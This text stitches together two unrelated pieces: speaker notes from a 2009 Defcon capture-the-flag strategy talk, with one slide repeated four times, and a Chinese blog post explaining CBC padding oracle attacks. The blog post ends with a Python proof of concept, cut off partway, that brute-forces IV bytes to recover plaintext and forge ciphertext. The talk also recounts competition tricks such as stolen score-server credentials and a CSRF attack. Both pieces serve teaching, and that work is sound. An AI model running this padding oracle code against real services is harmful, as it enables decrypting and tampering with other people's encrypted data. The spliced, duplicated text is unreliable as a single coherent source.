the world. This allows you to do some neat tricks with inline firewalls and packet filtering,
but also allows you to easily shoot yourself in the foot by dropping your server entirely
offline.
A score bot is constantly monitoring the services you are running on your server, ensuring
that services are up and running. A final tally of all successful services checks divided by the
total number of service checks produces an SLA percentage that is multiplied by all other
points.
Of course, to actually score points, you need to go out and capture some
Shrine Circus 2006 - 2
D'Arcy Norman
http://www.flickr.com/photos/dnorman/142386154/
http://creativecommons.org/licenses/by/2.0/deed.en
flags
Friday, July 31, 2009
flags.
First, there are lots and lots of flags--they’re generated over time so that a team that is able
to steal earlier and more often will be able to gather more flags than their opponents.
Second, each flag must be tracked as to who it came from (I shouldn’t be able to submit a
flag that came from my own server, for example), and there’s also flag used to overwrite
existing flags in vulnerabilities that have write access to a flag.
Of course, the ability to detect flag overwrites is also one of the most important reasons that
jail or zone type of technology is usually used. The score server must be able to monitor an
overwritten key, and instantly replace it. Otherwise, when the score server works on a polling
interval, only one team will be able to get points during a given time interval. That’s a bad
thing since it incentivizes teams to blast out their overwrites as fast as possible to ensure
their flag is king of the hill. An automated transparent overwrite detection with its own built-
in interval during which only one overwrite may be had by each team keeps that from
happening.
One interesting twist is that this year the scoring system will be based on a zero-sum game.
The available points for any given service will be divided up proportionally amongst the
teams who exploit it. It will be interesting to see what impact this has on the games score.
This also does away with one of the other main features of previous Defcon scoring --
breakthrough points. Breakthrough points were awarded for the first team or two to succeed
at any given exploit. Harder services earned more breakthrough points.
While there’s certainly a fair amount of strategy in producing gameplay optimized toward the
scoring system (for example -- if you are in second place, do you throw an exploit against
the lead team that you know they haven’t landed yet, or do you hold on to it to try to keep
Roles
Friday, July 31, 2009
A successful CTF team has a variety of specialized roles. It’s not enough to simply be good
at binary reverse engineering or exploitation.
Obviously, many of these roles may overlap, and some teams will operate differently, but
generally speaking, a successful team will have something similar.
Cinnamon Rolls!
bcmom
http://www.flickr.com/photos/bcmom/66951454/
http://creativecommons.org/licenses/by/2.0/deed.en
leader
Friday, July 31, 2009
The leader holds the team together. This should be the person best able to direct,
coordinate, communicate, and make sure everyone is on task and working together. Try not
to make this the best technical person in any other skillset if possible -- those folks should
be spent doing what they do best, not herding cats.
Herding Cats
DrBacchus
http://www.flickr.com/photos/rbowen/1148435913/
http://creativecommons.org/licenses/by/2.0/deed.en
netadmin
Friday, July 31, 2009
The NetAdmin not only must maintain the network and configure appropriate firewall rules,
but most importantly is responsible for monitoring all network traffic. Using sniffers, IDS or
other signature matching systems, a good NetAdmin is crucial. A successful CTF team is one
that is able to very quickly recognize, adapt, and re-use exploits or other attacks sent against
them. The nose must work closely with both the exploiters and reversers, as well as the
sysadmin/defenders to make sure they’re abreast of what others are attempting.
Sniffing around
Leonid Mamchenkov's
http://www.flickr.com/photos/mamchenkov/278157281/
http://creativecommons.org/licenses/by/2.0/deed.en
reversing
exploitation
Friday, July 31, 2009
No image on this slide. I decided against an image search for “exploitation”.
The reverser/exploiter roles are often the same person, but not necessarily. Sometimes the
person who finds the vulnerability is not the best person to be writing the exploit code. Make
sure you maximize your time each doing what you do best.
While all of the roles truly are important to a winning team, if you don’t have people skilled in
this area, you don’t stand a chance. There’s simply no way to score points without being
good at exploitation. The qualifier rounds ensure that any team that makes it to the finals
can pull their weight in exploitation and reversing.
sysadmin
Friday, July 31, 2009
The sysadmin is responsible for keeping your SLA up. Remember, SLA is a multiplier of /all
other points/. Never forget that. Never make a change to a service if it will impact your SLA
without carefully checking it out. It’s better to let your opponents score on you and keep the
server up than to take it down and take off a percentage of all your points.
Keep your SLA up at all times, and a good sysadmin is critical to that process.
Time Management for System Administrators
mightyohm
http://www.flickr.com/photos/mightyohm/2942621738/
http://creativecommons.org/licenses/by/2.0/deed.en
defender
Friday, July 31, 2009
The defender is the guy whose job is not only to help the sysadmin in maintaining the server,
but actively making life difficult for those intruding on the box. While lots of shenanigans
can (and should) be prepared in advance (find ways to cripple libraries, move standard
binaries, trojanize certain tools to better monitor attacks who get shells -- all in ways that
allow legitimate services to keep running), much of it must be done on the fly. You never
know if you’ll be getting the same setup as previous years, so putting too much work into
work beforehand is risky.
Catch Me
powerbooktrance
http://www.flickr.com/photos/powerbooktrance/276488800/
http://creativecommons.org/licenses/by/2.0/deed.en
gopher
Friday, July 31, 2009
Man does not live on bread alone, and neither do hackers live on caffeine alone. At some
point you need some food. Or help carrying things, or watching to make sure no one’s
peeking on your screens. Having friends to help you with the little tasks makes life much
easier!
We Gopher You
Mykl Roventine
http://www.flickr.com/photos/myklroventine/2562860881/
http://creativecommons.org/licenses/by/2.0/deed.en
teamwork
Friday, July 31, 2009
Let me emphasize this again. Teamwork is absolutely crucial.
I don’t care how good you are at the individual skills, a team of individual superstars will not
win. There are so many things going on and so much depends on being able to effectively
communicate and work together in a high-pressure environment.
1@stplace won two years in a row. Neither time were we the sneakinest (ok, maybe we were
close). Neither time we were the best at getting the breakthrough exploits, neither time were
we the best at defending our server from the attacks of others. However, we were /good/ at
all of those things, each person had a role, stuck to it will, and we coordinated extremely well
between each functional group.
toy soldiers 2
http://www.flickr.com/photos/janramroth/1302905330/
http://creativecommons.org/licenses/by/2.0/deed.en
jot.punkt
team size
Friday, July 31, 2009
There are advantages and disadvantages to both large and small teams. Most likely, your
team size will be determined by your friends, co-workers, affiliations, etc. Still, you might
consider limiting yourself if you decide you want to make a small team and have lots of
potential candidates.
The danger with a large team is that it will struggle under its own weight. Clearly defining
roles and responsibilities, making sure the right groups are communicating with the right
other groups, these are big issues. Some people complained last year when sk3wl of r00t
won that they only did so because they had so many people. That’s an entirely unfair
accusation -- having a big team can be a liability if you don’t manage it right, and congrats
to sk3wl for putting together the right mixture to be able to pull it off and pull it off big last
year.
Of course, CTF has so many components that a team with five or less members would have
an extremely difficult time being competitive, no matter how good each individual was.
There’s simply too many binaries, too many tasks. Consider merging with another team to
form a larger team if that’s your situation, but make sure you carefully delineate tasks and
responsibilities if you do so.
Photo copyright me -- same license as the presentation.
Friday, July 31, 2009
Let’s talk about one important piece of CTFiquette. Many teams take the competition very
seriously. Unless you personally know someone on a team, be very careful about going up
and trying to watch their screen, or even sitting behind or to the side of a team. Spying on
other teams is a perfectly acceptable strategy (both inside the game room, and elsewhere), so
most take their physical security seriously.
High voltage warning sign
NIOSH - Nat Inst for Occupational Safety & Health
http://www.flickr.com/photos/niosh/2492839488/
http://creativecommons.org/licenses/by/2.0/deed.en
Implement the following
in one x86 instruction:
lightning round
for (ecx = 0; ecx < 32; ecx++)
{
if ((1 << ecx) & eax)
{
ebx = ecx;
}
}
Friday, July 31, 2009
The original answer required the actual bytes, but I’ll assume everyone who can find the
answer is capable of running an assembler -- I’ll take the mnemonic here.
lightning round
BSR ebx, eax
Also accepted: BSR $eax, $ebx
Or for those showing off (if done in their
head): \0x0f\xbd\xd8
Friday, July 31, 2009
Answer: BSR ebx, eax (also accepted: BSR $eax, $ebx)
dirty tricks
Friday, July 31, 2009
Of course, CTF is primarily about hacking, and what isn’t hacking without some dirty tricks?
free candy
http://www.flickr.com/photos/endora57/49474343/
http://creativecommons.org/licenses/by-nc/2.0/deed.en
endora57
Photoshopped by me, new image likewise released to the public domain.
security is
only as strong as...
Friday, July 31, 2009
Everyone say it with me: “security is only as strong as...” “the weakest link”
What’s usually the weakest link in security... Passwords, of course!
Story about using the score server to reset the overwrite token on Sk3wlofr00t for a good
chunk of Saturday at DC15.
Only as strong as the weakest link. Part 2
David
http://www.flickr.com/photos/afferent/461165947/
http://creativecommons.org/licenses/by/2.0/deed.en
Friday, July 31, 2009
Our attack on the overwrite-reset wasn’t the only one that year. While the Kenshoto CTF
didn’t have much of a web-app security focus, that didn’t mean it was entirely non-existent.
For example, the score server was potentially vulnerable to a CSRF attack against the same
overwrite-key change we abused with a stolen credential. One team embedded an attack
against that into all their web services. It was too bad the legitimate web services weren’t
working that year, or more folks might have been bit by that clever attack as well.
Frosty Morning Web
foxpar4
http://www.flickr.com/photos/foxypar4/2124673642/
http://creativecommons.org/licenses/by/2.0/deed.en
Friday, July 31, 2009
While the badge hacking contest winner from last year was neat, the second place entry was
much more entertaining to me. A whole slew of badges were programmed to transmit the IR
codes for the hibernate command on HP laptops and with the activate-front-row codes for
OS X laptops.
The range on these suckers was phenomenal. It was great watching people try to figure out
why their laptops were constantly hibernating or going in and out of Front Row.
Normally that would be entertaining enough as it is, but when one of the recipient of the IR
signal of doom is on one of the CTF teams and trying to actually get work done, well, then I
count this as an excellent dirty trick for CTF too.
Be warned! Disable /all/ your external interfaces before you bring a machine to Defcon, and
especially expect the CTF room to be home to some real shenanigans!
Soldering USB Interface to Badge
Kankie
http://www.flickr.com/photos/kankie/2762312562/
http://creativecommons.org/licenses/by/2.0/deed.en
Friday, July 31, 2009
School’s patched binary used against them, also DC15.
judo - gašper med padcem 2
MelkiaD
http://www.flickr.com/photos/melkiad/2329190548/
http://creativecommons.org/licenses/by/2.0/deed.en
Friday, July 31, 2009
In 2006, one team came tantalizingly close to the hole grail of a CTF win -- hacking the score
system itself. While often technically against the rules, and it’s easy to screw up and make
the game no fun, a clever hack is a clever hack, and taking advantage of a default admin
interface in one of the VOIP adapters accepting key submissions would have been very clever
if the attack had actually been pulled off successfully. Instead, the device’s IP was changed,
just causing a temporary outage while Kenshoto fixed it. So close... The team that did it was
awarded some breakthrough points by Kenshoto for their cleverness even if they didn’t quite
pull it off.
Friday, July 31, 2009
It’s a little known fact that there were /two/ challenges solved by use of a vim swap file in
this year’s qualifiers.
First was the intentional one, Forensics200 -- read the writeups linked to at the end of this
presentation for more information.
Then there was the other one... Pwn200 -- a service that had some trouble and was being
fixed live during the qualifiers. Fixed by editing the service live with vim on the service. And
exposing the source, making the challenge much simpler. I wonder if anybody from DDTEK
is actually here, I don’t know if Team Awesome officially told you guys about that one yet. ;-)
Friday, July 31, 2009
Don’t ruin the game for everyone. There are some dirty tricks that are best not played:
Collusion, Denial Service, Physical Attacks
The moral is to always check if unsure. Ask the conference organizers if in doubt. You do
not want to be the team banned from CTF because you didn’t think something through, and
if it’s actually a good hack, most likely the organizers will be cool with you doing it!
STOP ALL WAY
Peter Kaminski
http://www.flickr.com/photos/peterkaminski/1510724/
http://creativecommons.org/licenses/by/2.0/deed.en
references
Friday, July 31, 2009
So how do you learn this stuff? Practice it. What skills do you need? Easy.
112 Classification of Knowledge
jasonvance
http://www.flickr.com/photos/jasonvance/1194678729/
http://creativecommons.org/licenses/by/2.0/deed.en
Friday, July 31, 2009
Start with this small list.
The best skills are the ones mentioned previously under roles. Get really good at one of
those and practice it. There are literally dozens of online challenge sites out there with
starter problems to get you going. Just start breaking stuff and playing with it. No better
way to learn.
Go back through the Defcon video archives and check out the presentation my team captain
Atlas did a few years back on his radical transformation during the 2005 Qualifiers to CTF. If
you apply yourself, you really can go from just knowing the basics to being truly l33t.
tools and techniques
Friday, July 31, 2009
Ok, those are the skills, but what about the tools?
You want to come prepared with a framework for managing flags, and exploiting other
servers. Any defensive techniques need to be scripted in packages easy to install no matter
what the platform you end up defending.
Wrench Red
Kyle May
http://www.flickr.com/photos/kylemay/2078979917/
http://creativecommons.org/licenses/by/2.0/deed.en
Friday, July 31, 2009
Get good at a scripting language. Quick and dirty perl, python, ruby, it doesn’t matter.
Unless you’re very good and very fast with C, it’s worth your time to invest effort into a
language that enables quick solutions, tools, and techniques.
Focus on attacks, scoreboard submissions, website scraping, custom service monitoring, etc.
The key here is rapid development.
reversing
reversing
Friday, July 31, 2009
There’s a lot of different tools you could use for your reversing and exploitation. Most
important is to have a few you are comfortable with. Practice lots with GDB, or another
portable debugger. Those skills will last no matter what the platform.
It matters more that you have something you’re comfortable with than you have something
that other people are using to solve problems.
Friday, July 31, 2009
If you’re doing any binary analysis at all, one required tool is IDA Pro. The second major
requirement is a scriptable debugger you’re comfortable with. Whether it’s Immunity
Debugger, IDA with the appropriate plugins and debug modules, or some other solution, you
need to be able to quickly script up tasks in the debugger. Of course, for most CTF
challenges, you’re going to be spending some quality time with GDB, so don’t neglect it.
http://capture.thefl.ag/
http://ddtek.biz/
http://nopsr.us/
http://shallweplayaga.me/
http://hackerschool.org/DefconCTF/17/B300.html
http://ha.ckers.org/blog/20090406/hacking-without-all-the-jailtime/
Friday, July 31, 2009
Websites
Capture.TheFl.Ag -- Updated copy of these slides, mirror/links to specific CTF content, many
more links, links to other writeups, etc. At some point in the near future when I get more
trustworthy Internet access.
Nopsrus -- 2006-2008 Qualifiers and many Finals Binaries from Doc Brown and 1@stplace
shallweplayaga.me -- Writeups for 2009 qualifiers from Team Awesome
RSnake’s blog entry has a huge list of online CTF type sites, many different formats, but
some great resources among there.
books
Friday, July 31, 2009
IDA Pro Book -- Notice the author on that is none other than the sk3wlm4st3r, Chris Eagle
himself. This book is the IDA bible. The book was at least partially responsible for the
release of the Collabreate tool mentioned earlier.
Hacking: TAOE is a good solid overview to all sorts of good security techniques.
Shellcoders Handbook: covers many relevant topics
There are many other good books to get you started, but practice the online resources and
use the books as needed.
books
Friday, July 31, 2009
IDA Pro Book -- Notice the author on that is none other than the sk3wlm4st3r, Chris Eagle
himself. This book is the IDA bible. The book was at least partially responsible for the
release of the Collabreate tool mentioned earlier.
Hacking: TAOE is a good solid overview to all sorts of good security techniques.
Shellcoders Handbook: covers many relevant topics
There are many other good books to get you started, but practice the online resources and
use the books as needed.
books
Friday, July 31, 2009
IDA Pro Book -- Notice the author on that is none other than the sk3wlm4st3r, Chris Eagle
himself. This book is the IDA bible. The book was at least partially responsible for the
release of the Collabreate tool mentioned earlier.
Hacking: TAOE is a good solid overview to all sorts of good security techniques.
Shellcoders Handbook: covers many relevant topics
There are many other good books to get you started, but practice the online resources and
use the books as needed.
books
Friday, July 31, 2009
IDA Pro Book -- Notice the author on that is none other than the sk3wlm4st3r, Chris Eagle
himself. This book is the IDA bible. The book was at least partially responsible for the
release of the Collabreate tool mentioned earlier.
Hacking: TAOE is a good solid overview to all sorts of good security techniques.
Shellcoders Handbook: covers many relevant topics
There are many other good books to get you started, but practice the online resources and
use the books as needed.
The Fine Print
This presentation:
(Some Rights Reserved)
Creative Commons Attribution 3.0 United States License
http://creativecommons.org/licenses/by/3.0/us
Company/product logos:
All photos of companies or products trademarked/copyright their
respective companies.
Background images:
Most photos releasd under a Free license. See the slide notes for
each slide for more information on image source and license.
Friday, July 31, 2009
Links to each image’s original Flickr page and author credits in the slide notes on each slide. | pdf |
Blog
PaddingOracle攻击
2021-08-10 · 密码学
根据加解密时是否用同一组密钥,可以分为对称加密和非对称加密。对称加密中根据对数据处理粒度的不
同,可以分为分组加密算法(AES、3DES、DES、Blowfish、RC2、CAST)和流加密算法(ChaCha20、
Salsa20、RC4)
常见的非对称加密算法有RSA、ElGamal、DSA、ECC等
分组加密算法中根据加解密时对数据的分组编排方式,经典工作模式有ECB、CBC、PCBC、CFB、OFB、CTR
等,其中后三者可以将分组加密转化为流加密形式。为了在保证机密性的前提下进一步保证完整性,现代工
作模式有CCM(CBC-MAC)、EAX、GCM、SIV(Synthetic Initialization Vector)、OCB(Offset CodeBook)
等。
分组加密方式简介
分组加密方式只能使用一个固定大小的密钥加密相同字节长度的明文,所以需要将加密的明文按照密钥大小
拆分为多块(所以也叫块加密),如果拆分后最后一个块明文长度不够,就需要填充字节来补齐长度。按照
常见的PKCS#5或PKCS#7标准,最后需要填充几个字节,那么所填充的字节的值就用几;如果明文最后一个块
刚好满足长度大小,那就需要填充完整一个块。
举个例子,对称密钥为 12345678 时长度为8,当待加密的明文为 abcdefg 时其长度为7,填充后的块为 [a]
[b][c][d][e][f][g][0x01] ;当待加密的明文为 abcdefghabcdef 时其长度为14,填充后的块为 [a][b][c][d]
[e][f][g][h][a][b][c][d][e][f][0x02][0x02] ;当待加密的明文为 abcdefgh 时其长度为8,填充后的块为
[a][b][c][d][e][f][g][h][0x08][0x08][0x08][0x08][0x08][0x08][0x08][0x08] 。
异或和可逆性
异或的概念对于二进制位而言,就是两个位不同则得到1,两个位相同则得到0。比如:
可以看出异或的结果与参与运算的两个值先后顺序没有关系,按小学的说法可以称为异或交换律。= =
再看仔细一些可以知道,如果A^B=C,那么A^C=B、B^C=A,说明异或具有可逆性。
两个十进制的异或就是都转为二进制再逐位异或。两个字节的异或,就是对字节取ASCII码(十进制)
再。。。两个长度相同字符串的异或就是逐字节。。。所以字符串的异或本质就是二进制位的异或,这说明
异或的可逆性同样适用于字符串。
CBC工作模式简介
首页 标签 分类 关于
文章目录
分组加密方式简介
异或和可逆性
CBC工作模式简介
PaddingOracle
推导明文
构造密文
没有IV与IV不可
Python实现
参考链接
1
2
3
4
1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0
Python
Plaintext指明文块,Ciphertext指密文块,key指对称密钥, ⊕ 符号表示异或。
IV(Initialization Vector)是每次加密时都应随机生成的一串与分块大小相同的随机值,随机IV的存在使得相
同的对称密钥加密两次相同的明文也会得到不同的密文,规避了ECB模式相关安全问题。如果某些具体实现
中IV重复使用或是可以预测,亦或是使用全0的IV则会导致明文块泄漏,但这不是本文讨论的重点。
加密时先将第一块明文与初始IV异或,再将异或后的块用对称密钥加密得到第一块密文。第一块密文会作为
第二块的IV,与第二块明文异或后再用对称密钥加密得到第二块密文,直到最后一块密文加密完成。
从第二块明文开始,每块明文加密都需要用到上一块的密文作为IV,加密过程无法并行
解密时先将密文用对称密钥解密得到一个中间值,将此中间值与IV异或得到明文。注意我现在没有说第一块
了,因为IV此时都是已知的,每两个密文块就可以解出一个明文块,解密过程可以并行。
因为解密第一块密文时需要初始的IV,而初始IV在密码学中本就没有保密性要求,通常都会将初始IV拼接到密
文头部一起发给客户端(至于为什么拼接在头部而不是尾部或是单独分开,因为上一块密文就是下一块密文
IV,拼接到头部其实就是让IV作为第零块密文,顺其自然地成为第一块密文的IV)。
PaddingOracle
PaddingOracle一般是指对称加密算法CBC工作模式的一种攻击方式。如果能够区分密文解密出错的原因,是
由于填充错误(比如填充的 [0x01][0x02] ),还是由于正常解密出的明文在具体的业务环境中报错(比如判
断role是 admin 还是 member ,结果解密出来是 !@#$ ),就能在不知道对称密钥的情况下,利用错误回显或
是时间延迟的侧信道,爆破和推测出密文被对称密钥解密后的 中间值,进一步可以推测出密文被完整解密后
的 原始明文,或是利用中间值结合可控的IV逆推构造出 想要的明文。
利用错误回显或是时间延迟做判断的这个过程就称为oracle
推导明文
下面来分析下具体流程,我们先从多个加密块的第一个块说起,我将密文块被对称密钥解密后的值称为中间
值,中间值与IV异或后会得到完整解密的明文块。
首先需要思考的是,解密时如何判断填充的字节有没有出错呢?答案是从完整解密后的明文块最后一个字节
开始读,如果发现最后一个字节是 0x03 ,那么就继续读倒数第二个字节、倒数第三个字节并确认其都是
0x03 ,如果倒数第二或第三个字节不是 0x03 就说明出现了填充错误。
那么通过某种手段使明文最后一个字节为 0x01 时,读完最后一个字节后就不会再向前校验了,所以这个块
无论如何都不会出现填充错误。明文最后一个字节是由中间值最后一个字节与IV最后一个字节异或而来,那
么就存在以下推导:
1
2
3
4
5
6
# 必然存在一个guess_iv[-1]值符合
guess_iv[-1] ^ middle[-1] = 0x01
# 根据异或可逆性反推出真实中间值middle[-1]
middle[-1] = guess_iv[-1] ^ 0x01
# 得到真实中间值middle[-1]后,与原本的iv[-1]算出真实的明文plain[-1]
plain[-1] = iv[-1] ^ middle[-1]
Python
虽然但是,那怎么知道这个必然存在的值是什么呢?在IV可控且能区分出有没有填充错误时,我们可以对IV
最后一个字节进行爆破,如果不是这个 必然存在的值 ,解密后明文最后一个字节不是 0x01 就会出现填充错
误,没有填充错误时就说明我们爆破到了这个 必然存在的值 。因为1个字节是8个二进制位,最多只需要爆破2
的8次方=256次就可以得到。
可能有小伙伴会说假如这个块本身就是填充的 0x02 呢,那解密成 0x02 和 0x01 就都不会出现填充错误,
注意开头说了我们目前分析的是多个加密块的第一个块,这种情况下第一个块不可能出现填充字节,而正常
的明文一般也不会出现 0x02 ,更多细节我们稍后讨论
知道中间值最后一个字节后,我们就能继续推导构造后两个字节的明文值,进而得到倒数第二个字节的中间
值:
重复这个套路,可以一直向前爆破和推导出这个块中间值和明文的每个字节,再对每个块重复这个套路就可
以得到每个块中间值和明文的每个字节,与正常解密过程一样可以并行处理。这里清晰后就是时候讨论我们
一直刻意忽略的,只有一个块或是最后一个块的填充问题了。
如果填充值是 0x03 或更大,由于是从后往前推出 [0x01] , [0x02][0x02] ,存在多位相互校验就不会出现
Oracle时的误判。而不论明文刚好本身倒数第二个字节是 0x02 还是最后一个块填充后有两个 0x02 ,都有可
能出现明文最后一个字节首先爆破成的是 0x02 (而非 0x01 ),但由于不会出现填充错误,导致我们误以为
使用这个guess_iv[-1]实际构造的出的是 0x01 。
在群里讨论后,@香依香偎 师傅给出的思路是在最后一个填充字节判断成功的情况下,构造倒数第二字节为
任意值都不出现填充错误,就说明倒数第一个字节确实构造成了 0x01 ,也就是上文所说的情况了;而如果
构造倒数第二字节时出现了填充错误,就说明我们构造出的明文最后一个字节其实是 0x02 (妙啊)。同时
@Vanish 牛也提醒了,在这种得到错误 middle[-1] 的情况下,进行后续步骤就会出错。所以这种情况推导
middle[-1] 用 guess_iv[-1] ^ 0x02 就行了。
构造密文
理解了推导明文的过程,构造密文(也称为CBC翻转)就很简单了。爆破推测出每一个字节的中间值,调整
各个IV的各个字节使其与中间值异或后就是我们想要的明文:
由于第N块密文的IV就是第N-1块密文本身,所以我们需要从后向前先推出最后一块、再倒数第二、第
三。。。一直推到第一块并构造出需要的原始IV,其实就是个逆序加密的过程,与正常加密过程一样不能够
并行处理。
没有IV与IV不可控
设想一种没有IV且IV不可控的情况,服务器端加密 xxx: abc; user: member;... 原始信息,只将加密后的密
文作为Cookie发往浏览器,而将用于加密的初始IV维护在服务器Session中,此时得不到初始IV也就没法套路
出第一块密文的明文块了(但中间值还是能推测出来的),后续密文块的IV就是前一个密文块,所以第一块
之外的密文还是能解出明文。对于CBC翻转来说,第一块明文的内容就没法构造了,为了配合后续块解密,
被我们构造出的第一块密文也会被初始IV异或得不成样子。
假如此时通过某种途径泄漏出了Session里的初始IV,也就是有初始IV但IV不可控的情况,那么就能完整解密
出包括第一块在内的全部明文。CBC翻转情况不变。
又假如通过某种途径导致Session里的初始IV可控(但读不到原本的初始IV),也就是没有初始IV但IV可控的情
况,那么就能完整构造出包括第一块密文在内的全部密文。明文解密情况不变。
所以能不能读到初始IV影响原本第一块明文的解密,初始IV可不可控影响第一块明文的构造。
Python实现
考古了道哥写的py2demo,用Python3重写了一份,注意的是这份代码中判断填充正确与否是直接用了
padding_byte值,所以不会出现上文讨论的 0x02 导致误判的情况,但实战环境中就需要改写为通过HTTP状
态码、错误回显、时间延迟等手段进行判断了。
1
2
3
4
5
6
7
8
9
10
# 我们已经知道中间值最后一个字节
guess_iv[-1] ^ middle[-1] = 0x02
# 可以直接逆推出需要构造的guess_iv[-1]
guess_iv[-1] = middle[-1] ^ 0x02
# 同样的方法爆破出guess_iv[-2]
guess_iv[-2] ^ middle[-2] = 0x02
# 进一步推导出中间值middle[-2]
middle[-2] = guess[-2] ^ 0x02
# 得到真实中间值middle[-2]后,与原本的iv[-2]算出真实的明文plain[-2]
plain[-2] = iv[-2] ^ middle[-2]
Python
1
2
3
4
# 推导需要构造出的IV
middle[i] ^ admin[i] = iv[i]
# 中间值与构造的IV异或后会得到想要的明文
middle[i] ^ iv[i] = admin[i]
Python
1
"""
Code
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
CBC Padding Oracle Demo
Author: hosch3n
Reference: https://hosch3n.github.io/2021/08/10/PaddingOracle%E6%94%BB%E5%87%BB/
Padding Oracle Attack POC(CBC-MODE)
Author: axis([email protected])
http://hi.baidu.com/aullik5
2011.9
This program is based on Juliano Rizzo and Thai Duong's talk on
Practical Padding Oracle Attack.(http://netifera.com/research/)
For Education Purpose Only!!!
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
"""
from Crypto.Cipher import AES, ARC2, Blowfish, CAST, DES, DES3
# from base64 import b64encode
def padding_pkcs(plaintext, block_size):
# Calculate Padding Byte
# The Byte Value is Length
padding_byte = block_size - len(plaintext) % block_size
# Make Padding
for _ in range(padding_byte):
plaintext.append(padding_byte)
return plaintext
def cbc_encrypt(plaintext, IV, SMKEY, CIPHER):
# String to ByteArray
plaintext = bytearray(plaintext, "utf-8")
# SMKEY Length
key_len = len(SMKEY)
if CIPHER == "AES":
# AES SMKEY Length must be 16/24/32
# AES-128 / AES-192 / AES-256
if key_len != 16 and key_len != 24 and key_len != 32:
return False
cipher_object = AES.new(SMKEY, AES.MODE_CBC, IV)
elif CIPHER == "ARC2":
cipher_object = ARC2.new(SMKEY, ARC2.MODE_CBC, IV)
elif CIPHER == "Blowfish":
cipher_object = Blowfish.new(SMKEY, Blowfish.MODE_CBC, IV)
elif CIPHER == "CAST":
cipher_object = CAST.new(SMKEY, CAST.MODE_CBC, IV)
elif CIPHER == "DES" and key_len == 8:
cipher_object = DES.new(SMKEY, DES.MODE_CBC, IV)
elif CIPHER == "3DES" and key_len == 16:
cipher_object = DES3.new(SMKEY, DES3.MODE_CBC, IV)
else:
return False
# Make Padding
plaintext = padding_pkcs(plaintext, len(IV))
return cipher_object.encrypt(plaintext)
def cbc_decrypt(cipher_bytes, IV, SMKEY, CIPHER):
if (len(cipher_bytes) % 8 != 0) or (len(IV) % 8 != 0):
print("[-] cipher_bytes length != IV length")
return False
if CIPHER == "AES":
cipher_object = AES.new(SMKEY, AES.MODE_CBC, IV)
elif CIPHER == "ARC2":
cipher_object = ARC2.new(SMKEY, ARC2.MODE_CBC, IV)
elif CIPHER == "Blowfish":
cipher_object = Blowfish.new(SMKEY, Blowfish.MODE_CBC, IV)
elif CIPHER == "CAST":
cipher_object = CAST.new(SMKEY, CAST.MODE_CBC, IV)
elif CIPHER == "DES":
cipher_object = DES.new(SMKEY, DES.MODE_CBC, IV)
elif CIPHER == "3DES":
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
cipher_object = DES3.new(SMKEY, DES3.MODE_CBC, IV)
else:
return False
return cipher_object.decrypt(cipher_bytes)
def split_block(any_bytes, block_size=8):
any_len = len(any_bytes)
if any_len % block_size != 0:
return False
# Split any_bytes by block_size
return [any_bytes[offset:offset+block_size] for offset in range(0, any_len, block_size)
def set_iv(block_iv_list, block_intermediary_list, padding_byte):
block_iv_list_len = len(block_iv_list)
for i in range(0, block_iv_list_len):
block_iv_list[i] = chr(ord(block_intermediary_list[i]) ^ padding_byte)
return block_iv_list
def check_pkcs(plain_bytes, padding_byte):
if len(plain_bytes) % 8 != 0:
return False
# Exact Block Number
points = 0
# Calculate Points
for i in range(1, padding_byte+1):
if plain_bytes[-i] == padding_byte:
points += 1
if points == padding_byte:
return True
else:
return False
def oracle_block(cipher_bytes, block_size, next_iv, SMKEY, CIPHER):
block_dict = {}
block_plaintext = ""
block_intermediary_list = []
block_iv_list = []
# Construct Padding Bytes
for padding_byte in range(1, block_size+1):
tmp_iv_list = []
block_iv_list = set_iv(block_iv_list, block_intermediary_list, padding_byte)
block_iv_list_len = len(block_iv_list)
# Initialize IV
for _ in range(0, block_size - padding_byte):
tmp_iv_list.append("\x00")
tmp_iv_list.append("\x00")
tmp_iv_list_len = len(tmp_iv_list)
# Brute Force
for iv_ascii in range(0, 256):
# Edit item by list
try_iv_list = tmp_iv_list
try_iv_list[tmp_iv_list_len-1] = chr(iv_ascii)
# list to string
try_iv_str = "".join(try_iv_list)
# Reverse Append
for i in range(0, block_iv_list_len):
try_iv_str += block_iv_list[block_iv_list_len-1-i]
# Trigger Decrypt[Rewrite]
plain_bytes = cbc_decrypt(cipher_bytes, try_iv_str.encode("latin1"), SMKEY, CIP
# Check Error[Rewrite]
flag = check_pkcs(plain_bytes, padding_byte)
if flag == False:
continue
# Get the Silver Bullet
# Dynamic Array append O(1)
block_iv_list.append(chr(iv_ascii))
block_intermediary_list.append(chr(iv_ascii ^ padding_byte))
break
# Revert block_intermediary and block_plaintext
block_intermediary_list_len = len(block_intermediary_list)
block_dict["intermediary"] = "".join(block_intermediary_list[::-1])
if next_iv != "":
for i in range(0, block_intermediary_list_len):
block_plaintext += chr(next_iv[i] ^ ord(block_intermediary_list[block_intermedi
block_dict["plaintext"] = block_plaintext
return block_dict
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
def oracle_decrypt(cipher_bytes, block_size, IV, SMKEY, CIPHER):
next_iv = IV
# Split cipher_bytes by block_size
cipher_blocks = split_block(cipher_bytes, block_size)
if cipher_blocks == False:
